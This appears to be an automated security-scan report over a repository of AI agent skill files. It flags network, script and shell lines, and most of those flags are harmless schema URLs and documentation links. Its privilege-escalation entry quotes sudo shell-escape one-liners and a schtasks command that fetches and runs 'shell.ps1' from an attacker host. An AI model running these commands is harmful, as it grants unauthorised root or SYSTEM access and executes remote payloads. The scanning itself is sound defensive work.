<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" schemaLocation="dml-spreadsheetDrawing.xsd"/> - Network accessline 14
namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml" - Network accessline 3
xmlns:pvml="urn:schemas-microsoft-com:office:powerpoint" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 4
xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w10="urn:schemas-microsoft-com:office:word" - Network accessline 5
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 6
xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:x="urn:schemas-microsoft-com:office:excel" - Network accessline 7
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 8
xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" targetNamespace="urn:schemas-microsoft-com:vml" elementFormDefault="qualified" - Network accessline 9
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
<xsd:import namespace="urn:schemas-microsoft-com:office:office" schemaLocation="vml-officeDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 13
schemaLocation="vml-officeDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="wml.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 16
<xsd:import namespace="urn:schemas-microsoft-com:office:word" schemaLocation="vml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 17
schemaLocation="vml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 18
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 22
<xsd:import namespace="urn:schemas-microsoft-com:office:powerpoint" schemaLocation="vml-presentationDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 23
schemaLocation="vml-presentationDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 24
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="urn:schemas-microsoft-com:office:office" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedT - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
attributeFormDefault="unqualified"> <xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 8
<xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="urn:schemas-microsoft-com:office:excel" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified" attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 6
attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 6
xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 7
xmlns="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 8
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 9
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 10
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <xsd:import namespace="http://schemas.openxmlformats.org/markup-compatib - Network accessline 11
targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/markup-compatibility/2006" schemaLocation="../mce/mc.xsd"/> - Network accessline 13
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 14
schemaLocation="dml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math" schemaLocation="shared-math.xsd"/> - Network accessline 15
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 16
schemaLocation="shared-math.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 17
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 18
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 19
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 20
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main" schemaLocation="shared-customXmlSchemaProperties.xsd"/> - Network accessline 21
<xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 22
schemaLocation="shared-customXmlSchemaProperties.xsd"/> <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/> <xsd:complexType name="CT_Empty"/> - Network accessline 23
<xsd:import namespace="http://www.w3.org/XML/1998/namespace"/>
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd
- Network accessline 1
<?xml version='1.0'?> <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en"> - Network accessline 2
<xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="en"> - Network accessline 4
<xs:annotation> <xs:documentation> See http://www.w3.org/XML/1998/namespace.html and - Network accessline 5
<xs:documentation> See http://www.w3.org/XML/1998/namespace.html and http://www.w3.org/TR/REC-xml for information about this namespace. - Network accessline 6
See http://www.w3.org/XML/1998/namespace.html and - Network accessline 7
http://www.w3.org/TR/REC-xml for information about this namespace. - Network accessline 55
<schema . . .> . . . <import namespace="http://www.w3.org/XML/1998/namespace" - Network accessline 56
. . . <import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - Network accessline 57
<import namespace="http://www.w3.org/XML/1998/namespace" - Network accessline 58
schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - Network accessline 72
<xs:documentation>In keeping with the XML Schema WG's standard versioning policy, this schema document will persist at http://www.w3.org/2001/03/xml.xsd. - Network accessline 73
policy, this schema document will persist at http://www.w3.org/2001/03/xml.xsd. At the date of issue it can also be found at - Network accessline 74
http://www.w3.org/2001/03/xml.xsd. - Network accessline 75
At the date of issue it can also be found at http://www.w3.org/2001/xml.xsd. The schema document at that URI may however change in the future, - Network accessline 76
http://www.w3.org/2001/xml.xsd. - Network accessline 79
itself. In other words, if the XML Schema namespace changes, the version of this document at http://www.w3.org/2001/xml.xsd will change - Network accessline 80
of this document at http://www.w3.org/2001/xml.xsd will change accordingly; the version at - Network accessline 81
http://www.w3.org/2001/xml.xsd will change - Network accessline 82
accordingly; the version at http://www.w3.org/2001/03/xml.xsd will not change. </xs:documentation> - Network accessline 83
http://www.w3.org/2001/03/xml.xsd will not change. - Network accessline 103
<xs:attribute name="base" type="xs:anyURI"> <xs:annotation> <xs:documentation>See http://www.w3.org/TR/xmlbase/ for - Network accessline 104
<xs:annotation> <xs:documentation>See http://www.w3.org/TR/xmlbase/ for information about this attribute.</xs:documentation> - Network accessline 105
<xs:documentation>See http://www.w3.org/TR/xmlbase/ for
skills/pptx-official/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 2
<xs:schema xmlns="http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 3
xmlns:xs="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/content-types"
skills/pptx-official/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 2
<xs:schema targetNamespace="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" - Network accessline 4
xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:dc="http://purl.org/dc/elements/1.1/" - Network accessline 5
xmlns:dcterms="http://purl.org/dc/terms/" elementFormDefault="qualified" blockDefault="#all"> - Network accessline 7
<xs:import namespace="http://purl.org/dc/elements/1.1/" - Network accessline 8
schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsd"/> - Network accessline 9
<xs:import namespace="http://purl.org/dc/terms/" - Network accessline 10
schemaLocation="http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsd"/> - Network accessline 11
<xs:import id="xml" namespace="http://www.w3.org/XML/1998/namespace"/>
skills/pptx-official/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd
- Network accessline 1
<?xml version="1.0" encoding="UTF-8"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature" - Network accessline 2
<xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/digital-signature" - Network accessline 3
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/digital-signature"
skills/pptx-official/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd
- Network accessline 1
<U+FEFF><?xml version="1.0" encoding="UTF-8" standalone="no"?> <xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 2
<xsd:schema xmlns="http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 3
xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/package/2006/relationships"
skills/pptx-official/ooxml/schemas/mce/mc.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 2
<xsd:schema xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 3
attributeFormDefault="unqualified" elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 5
xmlns:xsd="http://www.w3.org/2001/XMLSchema"> - Network accessline 7
<!-- This XSD is a modified version of the one found at: https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd - Network accessline 9
https://github.com/plutext/docx4j/blob/master/xsd/mce/markup-compatibility-2006-MINIMAL.xsd - Network accessline 15
<w:document xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 16
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 17
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
skills/pptx-official/ooxml/schemas/microsoft/wml-2010.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns:r="http://schemas.op - Network accessline 2
<!-- <xsd:import id="rel" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="orel.xsd"/> --> - Network accessline 3
<xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 4
<!-- <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartbasetypes.xsd"/> - Network accessline 5
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="oartsplineproperties.xsd"/> -->
skills/pptx-official/ooxml/schemas/microsoft/wml-2012.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" elementFormDefault="qualified" att - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 3
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>
skills/pptx-official/ooxml/schemas/microsoft/wml-2018.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/pptx-official/ooxml/schemas/microsoft/wml-cex-2018.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" xmlns:w16="http://schemas.microsoft. - Network accessline 2
<xsd:import id="w16" namespace="http://schemas.microsoft.com/office/word/2018/wordml" schemaLocation="wml-2018.xsd"/> - Network accessline 3
<xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> - Network accessline 4
<xsd:import id="s" namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/>
skills/pptx-official/ooxml/schemas/microsoft/wml-cid-2016.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/pptx-official/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/pptx-official/ooxml/schemas/microsoft/wml-symex-2015.xsd
- Network accessline 1
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr - Network accessline 2
<xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>
skills/pptx-official/ooxml/scripts/pack.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/pptx-official/ooxml/scripts/unpack.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/pptx-official/ooxml/scripts/validate.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/pptx-official/ooxml/scripts/validation/__init__.py
- Executable scriptline 1
Executable file
skills/pptx-official/ooxml/scripts/validation/base.py
- Executable scriptline 1
Executable file - Network accessline 70
MC_NAMESPACE = "http://schemas.openxmlformats.org/markup-compatibility/2006" - Network accessline 71
XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace" - Network accessline 74
PACKAGE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 75
"http://schemas.openxmlformats.org/package/2006/relationships" - Network accessline 76
) OFFICE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 77
OFFICE_RELATIONSHIPS_NAMESPACE = ( "http://schemas.openxmlformats.org/officeDocument/2006/relationships" ) - Network accessline 78
"http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 79
) CONTENT_TYPES_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 80
CONTENT_TYPES_NAMESPACE = ( "http://schemas.openxmlformats.org/package/2006/content-types" ) - Network accessline 81
"http://schemas.openxmlformats.org/package/2006/content-types" - Network accessline 88
OOXML_NAMESPACES = { "http://schemas.openxmlformats.org/officeDocument/2006/math", - Network accessline 89
"http://schemas.openxmlformats.org/officeDocument/2006/math", - Network accessline 90
"http://schemas.openxmlformats.org/officeDocument/2006/relationships", - Network accessline 91
"http://schemas.openxmlformats.org/schemaLibrary/2006/main", - Network accessline 92
"http://schemas.openxmlformats.org/drawingml/2006/main", - Network accessline 93
"http://schemas.openxmlformats.org/drawingml/2006/chart", - Network accessline 94
"http://schemas.openxmlformats.org/drawingml/2006/chartDrawing", - Network accessline 95
"http://schemas.openxmlformats.org/drawingml/2006/diagram", - Network accessline 96
"http://schemas.openxmlformats.org/drawingml/2006/picture", - Network accessline 97
"http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing", - Network accessline 98
"http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing", - Network accessline 99
"http://schemas.openxmlformats.org/wordprocessingml/2006/main", - Network accessline 100
"http://schemas.openxmlformats.org/presentationml/2006/main", - Network accessline 101
"http://schemas.openxmlformats.org/spreadsheetml/2006/main", - Network accessline 102
"http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes", - Network accessline 103
"http://www.w3.org/XML/1998/namespace",
skills/pptx-official/ooxml/scripts/validation/docx.py
skills/pptx-official/ooxml/scripts/validation/pptx.py
skills/pptx-official/ooxml/scripts/validation/redlining.py
- Executable scriptline 1
Executable file - Network accessline 17
self.verbose = verbose self.namespaces = { "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 18
self.namespaces = { "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main" } - Network accessline 19
"w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
skills/pptx-official/scripts/html2pptx.js
- Executable scriptline 1
Executable file
skills/pptx-official/scripts/inventory.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 166
): pPr = paragraph._p.pPr ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}" - Network accessline 167
pPr = paragraph._p.pPr ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}" if ( - Network accessline 168
ns = "{http://schemas.openxmlformats.org/drawingml/2006/main}"
skills/pptx-official/scripts/rearrange.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 103
for blip in blips: old_rId = blip.get( "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed" - Network accessline 104
old_rId = blip.get( "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed" ) - Network accessline 105
"{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed" - Network accessline 115
blip.set( "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed", - Network accessline 116
"{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed",
skills/pptx-official/scripts/replace.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/pptx-official/scripts/thumbnail.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/prisma-expert/SKILL.md
- Network accessline 94
**Resources:** - https://www.prisma.io/docs/concepts/components/prisma-schema - Network accessline 95
- https://www.prisma.io/docs/concepts/components/prisma-schema - Network accessline 96
- https://www.prisma.io/docs/concepts/components/prisma-schema/relations - Network accessline 136
**Resources:** - https://www.prisma.io/docs/concepts/components/prisma-migrate - Network accessline 137
- https://www.prisma.io/docs/concepts/components/prisma-migrate - Network accessline 138
- https://www.prisma.io/docs/guides/deployment/deploy-database-changes - Network accessline 206
**Resources:** - https://www.prisma.io/docs/guides/performance-and-optimization - Network accessline 207
- https://www.prisma.io/docs/guides/performance-and-optimization - Network accessline 208
- https://www.prisma.io/docs/concepts/components/prisma-client/raw-database-access - Network accessline 254
**Resources:** - https://www.prisma.io/docs/guides/performance-and-optimization/connection-management - Network accessline 255
- https://www.prisma.io/docs/guides/performance-and-optimization/connection-management - Network accessline 256
- https://www.prisma.io/docs/guides/deployment/deployment-guides/deploying-to-vercel - Network accessline 318
**Resources:** - https://www.prisma.io/docs/concepts/components/prisma-client/transactions - Network accessline 319
- https://www.prisma.io/docs/concepts/components/prisma-client/transactions
skills/privilege-escalation-methods/SKILL.md
- Dangerous shell operationline 38
#### 1. Abusing Sudo Binaries - Dangerous shell operationline 40
Exploit misconfigured sudo permissions using GTFOBins techniques: - Dangerous shell operationline 43
# Check sudo permissions - Dangerous shell operationline 44
sudo -l - Dangerous shell operationline 47
sudo vim -c ':!/bin/bash' - Dangerous shell operationline 48
sudo find /etc/passwd -exec /bin/bash \; - Dangerous shell operationline 49
sudo awk 'BEGIN {system("/bin/bash")}' - Dangerous shell operationline 50
sudo python -c 'import pty;pty.spawn("/bin/bash")' - Dangerous shell operationline 51
sudo perl -e 'exec "/bin/bash";' - Dangerous shell operationline 52
sudo less /etc/hosts # then type: !bash - Dangerous shell operationline 53
sudo man man # then type: !bash - Dangerous shell operationline 54
sudo env /bin/bash - Network accessline 211
# 3. Create scheduled task schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" ` /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" - Network accessline 212
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" - Network accessline 213
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" - Network accessline 227
# Create malicious shortcut (Book.url) [InternetShortcut] URL=https://facebook.com - Network accessline 228
[InternetShortcut] URL=https://facebook.com IconIndex=0 - Network accessline 229
URL=https://facebook.com - Dangerous shell operationline 255
| Sudo Binary Abuse | Linux | No | GTFOBins | - Dangerous shell operationline 291
### Example 1: Linux Sudo to Root - Dangerous shell operationline 294
# Check sudo permissions - Dangerous shell operationline 295
$ sudo -l - Dangerous shell operationline 300
$ sudo vim -c ':!/bin/bash' - Dangerous shell operationline 321
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
skills/product-manager-toolkit/scripts/customer_interview_analyzer.py
skills/product-manager-toolkit/scripts/rice_prioritizer.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/production-code-audit/SKILL.md
- Access to secretsline 286
[Credential-related source omitted] - Network accessline 535
- [OWASP Top 10](https://owasp.org/www-project-top-ten/) - Network accessline 536
- [Google Engineering Practices](https://google.github.io/eng-practices/) - Network accessline 537
- [SonarQube Quality Gates](https://docs.sonarqube.org/latest/user-guide/quality-gates/) - Network accessline 538
- [Clean Code by Robert C. Martin](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)
skills/projection-patterns/resources/implementation-playbook.md
skills/prometheus-configuration/SKILL.md
- Network accessline 59
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 359
# Test query promtool query instant http://localhost:9090 'up' - Network accessline 360
promtool query instant http://localhost:9090 'up' - Network accessline 382
curl http://localhost:9090/api/v1/targets - Network accessline 387
curl http://localhost:9090/api/v1/status/config - Network accessline 392
curl 'http://localhost:9090/api/v1/query?query=up'
skills/prompt-engineer/README.md
- Network accessline 613
git clone https://github.com/eric.andrade/cli-ai-skills.git
skills/prompt-engineering-patterns/scripts/optimize-prompt.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/prompt-library/SKILL.md
- Network accessline 10
> A comprehensive collection of battle-tested prompts inspired by [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts) and community best practices. - Network accessline 318
- [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts) - Network accessline 319
- [prompts.chat](https://prompts.chat) - Network accessline 320
- [Learn Prompting](https://learnprompting.org/)
skills/protocol-reverse-engineering/resources/implementation-playbook.md
- Possible obfuscationline 448
s_static(b"\x50\x52\x4f\x54") # Magic
skills/pypict-skill/SKILL.md
- Network accessline 2
name: pypict-skill description: "Pairwise test generation" source: "https://github.com/omkamal/pypict-claude-skill/blob/main/SKILL.md" - Network accessline 3
description: "Pairwise test generation" source: "https://github.com/omkamal/pypict-claude-skill/blob/main/SKILL.md" risk: safe - Network accessline 4
source: "https://github.com/omkamal/pypict-claude-skill/blob/main/SKILL.md" - Network accessline 22
For more information, see the [source repository](https://github.com/omkamal/pypict-claude-skill/blob/main/SKILL.md).
skills/python-development-python-scaffold/SKILL.md
- Network accessline 288
# API API_V1_PREFIX="/api/v1" ALLOWED_ORIGINS=["http://localhost:3000"] - Network accessline 290
ALLOWED_ORIGINS=["http://localhost:3000"] - Dangerous shell operationline 319
find . -type d -name __pycache__ -exec rm -rf {} + - Dangerous shell operationline 320
find . -type f -name "*.pyc" -delete - Dangerous shell operationline 321
rm -rf .pytest_cache .ruff_cache
skills/python-packaging/resources/implementation-playbook.md
- Network accessline 212
[project.urls] Homepage = "https://github.com/username/my-awesome-package" - Network accessline 213
Homepage = "https://github.com/username/my-awesome-package" - Network accessline 214
Documentation = "https://my-awesome-package.readthedocs.io" - Network accessline 215
Repository = "https://github.com/username/my-awesome-package" - Network accessline 216
"Bug Tracker" = "https://github.com/username/my-awesome-package/issues" - Network accessline 217
